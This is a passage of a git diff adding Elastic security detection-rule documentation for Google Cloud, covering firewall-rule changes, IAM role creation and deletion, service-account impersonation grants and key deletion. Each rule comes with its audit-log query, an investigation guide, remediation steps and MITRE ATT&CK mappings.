resources, such as the VPC or App Engine application, to understand the potential impact. +- Assess the rule's configuration details, including the allowed or denied IP ranges, protocols, and ports, to evaluate if it introduces any security risks or deviates from established security policies. +- Check for any recent changes in permissions or roles assigned to the user or service account involved, which might indicate privilege escalation or misuse. +- Correlate the firewall rule creation event with other security events or alerts in the same timeframe to identify any suspicious patterns or activities that might suggest a coordinated attack. +- Consult with relevant stakeholders or teams to verify if the firewall rule creation was authorized and aligns with current operational requirements or projects. + + +*False positive analysis* + + +- Routine administrative actions by authorized personnel can trigger alerts when they create or update firewall rules for legitimate purposes. To manage this, establish a list of known IP addresses or user accounts that frequently perform these actions and create exceptions for them in the detection rule. +- Automated processes or scripts that regularly update firewall configurations as part of normal operations may also cause false positives. Identify these processes and adjust the rule to exclude their specific actions or service accounts. +- Changes made during scheduled maintenance windows might be flagged as suspicious. Implement time-based exceptions to ignore rule creation events during these predefined periods. +- Integration with third-party security tools or services that modify firewall rules for enhanced protection can be mistaken for unauthorized activity. Verify these integrations and whitelist their actions to prevent unnecessary alerts. +- Development and testing environments often require frequent firewall rule changes, which can lead to false positives. Differentiate these environments from production by tagging them appropriately and excluding their events from the detection rule. + + +*Response and remediation* + + +- Immediately review the newly created firewall rule to determine its source and intent. Verify if the rule aligns with organizational security policies and intended network configurations. +- Temporarily disable or delete the suspicious firewall rule to prevent unauthorized access while further investigation is conducted. +- Conduct a thorough audit of recent firewall rule changes in the affected GCP project to identify any other unauthorized modifications. +- Isolate affected systems or applications that may have been exposed due to the unauthorized firewall rule to prevent further exploitation. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further action. +- Implement additional monitoring on the affected VPC or App Engine environment to detect any further unauthorized changes or suspicious activities. +- Review and update access controls and permissions for creating and modifying firewall rules to ensure only authorized personnel have the necessary privileges. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:(*.compute.firewalls.insert or google.appengine.*.Firewall.Create*Rule) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-firewall-rule-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-firewall-rule-deletion.asciidoc new file mode 100644 index 0000000000..1528f3024e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-firewall-rule-deletion.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-34-gcp-firewall-rule-deletion]] +=== GCP Firewall Rule Deletion + +Identifies when a firewall rule is deleted in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be configured to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may delete a firewall rule in order to weaken their target's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/firewalls +* https://cloud.google.com/appengine/docs/standard/python/understanding-firewalls + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Firewall Rule Deletion* + + +In GCP, firewall rules are crucial for controlling network traffic to and from VM instances and applications, ensuring robust security. Adversaries may delete these rules to bypass security measures, facilitating unauthorized access or data exfiltration. The detection rule monitors audit logs for deletion actions, flagging potential defense evasion attempts by identifying specific deletion events in VPC or App Engine environments. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:gcp.audit to confirm the deletion action and gather details such as the timestamp, user identity, and source IP address associated with the event. +- Investigate the event.action field to determine whether the deletion occurred in the VPC or App Engine environment, and identify the specific firewall rule that was deleted. +- Check the user or service account activity around the time of the deletion to identify any suspicious behavior or unauthorized access attempts. +- Assess the impact of the deleted firewall rule by reviewing the network traffic patterns and security posture before and after the deletion. +- Collaborate with the network security team to determine if the deletion was part of a legitimate change management process or if it indicates a potential security incident. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel may trigger firewall rule deletions. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for infrastructure management might delete and recreate firewall rules as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using service accounts or tags associated with these tools. +- Changes in application deployment processes, especially in environments like App Engine, can lead to legitimate firewall rule deletions. Review deployment logs and processes to identify patterns and exclude these from alerts. +- Organizational policy changes that involve restructuring network security may result in bulk deletions of firewall rules. Coordinate with network security teams to understand planned changes and temporarily adjust detection rules during these periods. +- Test environments often have dynamic configurations where firewall rules are frequently added and removed. Exclude specific projects or environments designated for testing from the detection rule to reduce noise. + + +*Response and remediation* + + +- Immediately isolate affected VM instances or applications by applying restrictive firewall rules to prevent further unauthorized access or data exfiltration. +- Review audit logs to identify the source of the deletion action, including user accounts and IP addresses involved, and verify if the action was authorized. +- Recreate the deleted firewall rules based on the last known good configuration to restore security controls and prevent unauthorized access. +- Conduct a security review of the affected environment to identify any additional unauthorized changes or indicators of compromise. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data were impacted. +- Implement enhanced monitoring and alerting for firewall rule changes to detect and respond to similar threats more quickly in the future. +- Review and update access controls and permissions for users and service accounts to ensure that only authorized personnel can modify firewall rules. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:(*.compute.firewalls.delete or google.appengine.*.Firewall.Delete*Rule) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-firewall-rule-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-firewall-rule-modification.asciidoc new file mode 100644 index 0000000000..83ff5a4c6e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-firewall-rule-modification.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-gcp-firewall-rule-modification]] +=== GCP Firewall Rule Modification + +Identifies when a firewall rule is modified in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be modified to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may modify an existing firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic flows for their benefit. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/firewalls +* https://cloud.google.com/appengine/docs/standard/python/understanding-firewalls + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Firewall Rule Modification* + + +In GCP, firewall rules regulate network traffic to and from VPCs and App Engine applications, crucial for maintaining security. Adversaries may alter these rules to weaken defenses, enabling unauthorized access or data exfiltration. The detection rule monitors audit logs for modifications to firewall rules, identifying potential defense evasion attempts by flagging suspicious changes in network configurations. + + +*Possible investigation steps* + + +- Review the audit logs for entries with the event.dataset field set to gcp.audit to confirm the source of the alert. +- Examine the event.action field for values such as *.compute.firewalls.patch or google.appengine.*.Firewall.Update*Rule to identify the specific type of firewall rule modification. +- Identify the user or service account responsible for the modification by checking the actor information in the audit logs. +- Assess the changes made to the firewall rule, including the before and after states, to determine if the modification allows more permissive ingress or egress traffic. +- Investigate the context of the modification by reviewing related activities in the audit logs around the same time to identify any suspicious patterns or sequences of actions. +- Check for any recent security incidents or alerts involving the affected VPC or App Engine application to understand potential motives or impacts of the rule change. +- If unauthorized or suspicious activity is confirmed, initiate incident response procedures to mitigate any potential security risks. + + +*False positive analysis* + + +- Routine updates or maintenance activities by authorized personnel can trigger alerts. To manage this, create exceptions for known IP addresses or user accounts that regularly perform these tasks. +- Automated scripts or tools used for infrastructure management might modify firewall rules as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific service accounts or tags. +- Changes made during scheduled maintenance windows can be considered non-threatening. Implement time-based exceptions to ignore modifications during these periods. +- Modifications related to scaling operations in App Engine or VPCs might be legitimate. Review and whitelist specific actions associated with scaling events to prevent unnecessary alerts. +- Regular audits or compliance checks might involve temporary rule changes. Document these activities and exclude them from detection by correlating with audit logs or change management records. + + +*Response and remediation* + + +- Immediately isolate the affected VPC or App Engine application by applying a restrictive firewall rule to prevent further unauthorized access or data exfiltration. +- Review the audit logs to identify the source of the modification, including user accounts and IP addresses involved, and revoke any suspicious credentials or access. +- Restore the firewall rule to its previous secure state using backup configurations or documented baselines to ensure the network is protected. +- Conduct a thorough security assessment of the affected environment to identify any additional unauthorized changes or indicators of compromise. +- Notify the security operations team and relevant stakeholders about the incident, providing details of the modification and actions taken. +- Implement enhanced monitoring and alerting for future firewall rule changes to detect and respond to similar threats more quickly. +- Consider engaging with Google Cloud support or a third-party security expert if the incident scope is beyond internal capabilities or if further expertise is required. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:(*.compute.firewalls.patch or google.appengine.*.Firewall.Update*Rule) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-iam-custom-role-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-iam-custom-role-creation.asciidoc new file mode 100644 index 0000000000..6cdfcae4cf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-iam-custom-role-creation.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-gcp-iam-custom-role-creation]] +=== GCP IAM Custom Role Creation + +Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. Custom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/understanding-custom-roles + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP IAM Custom Role Creation* + + +Google Cloud Platform's IAM custom roles allow users to define specific permissions tailored to their needs, offering flexibility in access management. However, adversaries can exploit this by creating roles with excessive permissions, leading to privilege escalation. The detection rule monitors audit logs for successful custom role creation events, helping identify potential unauthorized access attempts by flagging unusual role configurations. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action:google.iam.admin.v*.CreateRole to identify the user or service account responsible for creating the custom role. +- Examine the permissions assigned to the newly created custom role to determine if they are excessive or deviate from standard role configurations. +- Check the event.outcome:success field to confirm the successful creation of the role and cross-reference with any recent changes in IAM policies or permissions. +- Investigate the context around the role creation, such as the time of creation and any associated IP addresses or locations, to identify any unusual patterns or anomalies. +- Assess the necessity and justification for the custom role by consulting with the relevant team or individual who requested its creation, ensuring it aligns with organizational policies and needs. + + +*False positive analysis* + + +- Routine administrative actions by authorized personnel can trigger alerts. Regularly review and document legitimate role creation activities to establish a baseline of expected behavior. +- Automated processes or scripts that create roles as part of deployment pipelines may cause false positives. Identify and whitelist these processes to prevent unnecessary alerts. +- Temporary roles created for short-term projects or testing purposes might be flagged. Implement a naming convention for such roles and exclude them from alerts based on this pattern. +- Changes in organizational structure or policy updates can lead to legitimate role creations. Ensure that these changes are communicated to the security team to adjust monitoring rules accordingly. +- Third-party integrations that require custom roles might be misidentified as threats. Maintain an inventory of these integrations and their role requirements to differentiate between legitimate and suspicious activities. + + +*Response and remediation* + + +- Immediately review the audit logs to confirm the creation of the custom role and identify the user or service account responsible for the action. +- Revoke the custom role if it is determined to have excessive permissions or if it was created without proper authorization. +- Conduct a thorough review of the permissions assigned to the custom role to ensure they align with the principle of least privilege. +- Notify the security team and relevant stakeholders about the unauthorized role creation for further investigation and potential escalation. +- Implement additional monitoring on the identified user or service account to detect any further suspicious activities. +- Review and update IAM policies to prevent unauthorized role creation, ensuring that only trusted users have the necessary permissions to create custom roles. +- Enhance detection capabilities by setting up alerts for any future custom role creation events, especially those with high-risk permissions. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.CreateRole and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-iam-role-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-iam-role-deletion.asciidoc new file mode 100644 index 0000000000..d029606010 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-iam-role-deletion.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-34-gcp-iam-role-deletion]] +=== GCP IAM Role Deletion + +Identifies an Identity and Access Management (IAM) role deletion in Google Cloud Platform (GCP). A role contains a set of permissions that allows you to perform specific actions on Google Cloud resources. An adversary may delete an IAM role to inhibit access to accounts utilized by legitimate users. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/understanding-roles + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP IAM Role Deletion* + + +Google Cloud Platform's IAM roles define permissions for actions on resources, crucial for managing access. Adversaries might delete roles to disrupt legitimate user access, hindering operations. The detection rule monitors audit logs for successful role deletions, signaling potential unauthorized access removal, thus aiding in identifying and mitigating such security threats. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action:google.iam.admin.v*.DeleteRole to identify the exact role that was deleted and the associated project or resource. +- Identify the user or service account responsible for the deletion by examining the actor information in the audit logs. +- Check the event.timestamp to determine when the role deletion occurred and correlate it with any other suspicious activities around the same time. +- Investigate the event.outcome:success to confirm that the role deletion was completed successfully and assess the potential impact on access and operations. +- Analyze the context of the deletion by reviewing recent changes or activities in the project or organization to understand if the deletion was part of a legitimate change or an unauthorized action. +- Contact the user or team responsible for the project to verify if the role deletion was intentional and authorized, and gather additional context if needed. + + +*False positive analysis* + + +- Routine administrative actions may trigger alerts when roles are deleted as part of regular maintenance or restructuring. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Automated scripts or tools that manage IAM roles might cause false positives if they delete roles as part of their operation. Identify these scripts and exclude their actions from triggering alerts by using specific service accounts or tags. +- Deletion of temporary or test roles used in development environments can be mistaken for malicious activity. Implement filters to exclude actions within designated development projects or environments. +- Changes in organizational structure or policy might necessitate role deletions, which could be misinterpreted as threats. Document and communicate these changes to the security team to adjust monitoring rules accordingly. +- Third-party integrations or services that manage IAM roles could inadvertently cause false positives. Ensure these services are properly documented and their actions are whitelisted if deemed non-threatening. + + +*Response and remediation* + + +- Immediately revoke any active sessions and credentials associated with the deleted IAM role to prevent unauthorized access. +- Restore the deleted IAM role from a backup or recreate it with the same permissions to ensure legitimate users regain access. +- Conduct a thorough review of recent IAM activity logs to identify any unauthorized changes or suspicious activities related to IAM roles. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring on IAM role changes to detect and alert on any future unauthorized deletions promptly. +- Review and tighten IAM role permissions to ensure the principle of least privilege is enforced, reducing the risk of similar incidents. +- Consider enabling additional security features such as multi-factor authentication (MFA) for accounts with permissions to modify IAM roles. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.DeleteRole and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-iam-service-account-impersonation-role-granted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-iam-service-account-impersonation-role-granted.asciidoc new file mode 100644 index 0000000000..7f8aa60020 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-iam-service-account-impersonation-role-granted.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-gcp-iam-service-account-impersonation-role-granted]] +=== GCP IAM Service Account Impersonation Role Granted + +Identifies when a service account impersonation role is granted on a Google Cloud Platform (GCP) service account via a SetIamPolicy operation. Roles such as "roles/iam.serviceAccountTokenCreator", "roles/iam.serviceAccountUser", and "roles/iam.serviceAccountOpenIdTokenCreator" allow a principal to mint access or identity tokens for the target service account, or to act as it when deploying resources. Adversaries who have obtained sufficient privileges may grant themselves or an attacker-controlled principal one of these roles to impersonate a higher-privileged service account, escalating privileges and establishing durable, key-less persistence that survives credential rotation. This is a New Terms rule that alerts when the granting principal has not been observed performing this action in the last weeks. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securitylabs.datadoghq.com/cloud-security-atlas/attacks/backdooring-service-account/ +* https://stratus-red-team.cloud/attack-techniques/GCP/gcp.persistence.backdoor-service-account-policy/ +* https://cloud.google.com/iam/docs/service-account-impersonation +* https://cloud.google.com/iam/docs/audit-logging/examples-service-accounts + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Data Source: GCP Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: New Terms +* Platform: GCP + +*Version*: 2 + +*Rule authors*: + +* Elastic +* Aryu Zaw + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GCP IAM Service Account Impersonation Role Granted* + + +Granting an impersonation role on a service account lets the bound member obtain that service account's credentials +without creating a long-lived key. `roles/iam.serviceAccountTokenCreator` and `roles/iam.serviceAccountOpenIdTokenCreator` +allow minting OAuth2 access tokens and OpenID Connect identity tokens, while `roles/iam.serviceAccountUser` allows the +member to attach (actAs) the service account to new resources. Adversaries abuse these grants to pivot to a +higher-privileged identity, escalate privileges, and persist in a way that is unaffected by key rotation or password +resets. + + +*Possible investigation steps* + + +- Identify the granting principal via `user.email` and `user.id` and confirm whether that identity is expected to modify +IAM policy on service accounts. +- Review the target service account in `gcp.audit.resource_name` and determine the permissions it holds. Impersonating a +service account with broad project or organization roles represents a significant escalation. +- Inspect the granted binding in `gcp.audit.request` / `gcp.audit.response` to identify the member that was added +(`user:`, `serviceAccount:`, `group:`, or an external domain). External or newly created members are higher risk. +- Examine `gcp.audit.request_metadata.caller_ip` and `gcp.audit.request_metadata.caller_supplied_user_agent` to assess +whether the change originated from an expected location or tool. +- Correlate with recent activity by the granting principal, such as service account key creation, custom role creation, +or `GenerateAccessToken` / `GenerateIdToken` calls that use the newly granted impersonation rights. + + +*False positive analysis* + + +- Terraform, Deployment Manager, and CI/CD service accounts commonly grant serviceAccountUser and +serviceAccountTokenCreator as part of normal provisioning. Baseline these principals and exclude them with exceptions. +- One-time grants during application onboarding or delegation may be legitimate. Validate against change management +before escalating. + + +*Response and remediation* + + +- If the grant is unauthorized, remove the impersonation binding from the service account's IAM policy. +- Revoke any access or identity tokens issued for the impacted service account and review its recent activity for abuse. +- Investigate the granting principal for compromise, rotate its credentials if necessary, and review what other IAM +changes it has made. +- Restrict who can set IAM policy on service accounts and require justification or approval for impersonation grants. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "gcp.audit" + and event.action: google.iam.admin.v*.SetIAMPolicy + and event.outcome: "success" + and gcp.audit.service_data.policy_delta.binding_deltas:{ + action: "ADD" and + role: ( + "roles/iam.serviceAccountTokenCreator" or + "roles/iam.serviceAccountUser" or + "roles/iam.serviceAccountOpenIdTokenCreator" + ) + } + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-iam-service-account-key-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-iam-service-account-key-deletion.asciidoc new file mode 100644 index 0000000000..d0db6a6a43 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-iam-service-account-key-deletion.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-gcp-iam-service-account-key-deletion]] +=== GCP IAM Service Account Key Deletion + +Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP). Each service account is associated with two sets of public/private RSA key pairs that are used to authenticate. If a key is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best practice is to rotate your service account keys regularly. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts +* https://cloud.google.com/iam/docs/creating-managing-service-account-keys + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP IAM Service Account Key Deletion* + + +In GCP, IAM service account keys authenticate applications to access resources. Regular key rotation is crucial for security. Adversaries might delete keys to disrupt services or cover tracks after unauthorized access. The detection rule monitors audit logs for successful key deletions, flagging potential misuse or policy violations, aiding in timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.iam.admin.v*.DeleteServiceAccountKey to identify the service account key that was deleted. +- Check the event.outcome: success to confirm the key deletion was successful and not an attempted action. +- Identify the user or service account responsible for the deletion by examining the actor information in the audit logs. +- Investigate the context around the deletion event, including the timestamp and any preceding or subsequent actions in the logs, to understand the sequence of events. +- Verify if the key deletion aligns with the organization's key rotation policy or if it appears suspicious or unauthorized. +- Assess the impact of the key deletion on applications or services that rely on the affected service account for authentication. +- If unauthorized activity is suspected, initiate a broader investigation into potential unauthorized access or other malicious activities involving the affected service account. + + +*False positive analysis* + + +- Routine key rotation activities by administrators can trigger alerts. To manage this, establish a baseline of expected key rotation schedules and exclude these from alerts. +- Automated scripts or tools that perform regular maintenance and key management might cause false positives. Identify these scripts and whitelist their actions in the monitoring system. +- Service account keys associated with non-critical or test environments may be deleted frequently as part of normal operations. Consider excluding these environments from the alerting criteria to reduce noise. +- Temporary service accounts used for short-term projects or testing may have keys deleted as part of their lifecycle. Document these accounts and adjust the detection rule to ignore deletions from these specific accounts. + + +*Response and remediation* + + +- Immediately revoke any remaining access for the compromised service account to prevent further unauthorized access to Google Cloud resources. +- Investigate the audit logs to identify any unauthorized actions performed using the deleted key and assess the impact on affected resources. +- Recreate the deleted service account key if necessary, ensuring that the new key is securely stored and access is restricted to authorized personnel only. +- Implement additional monitoring on the affected 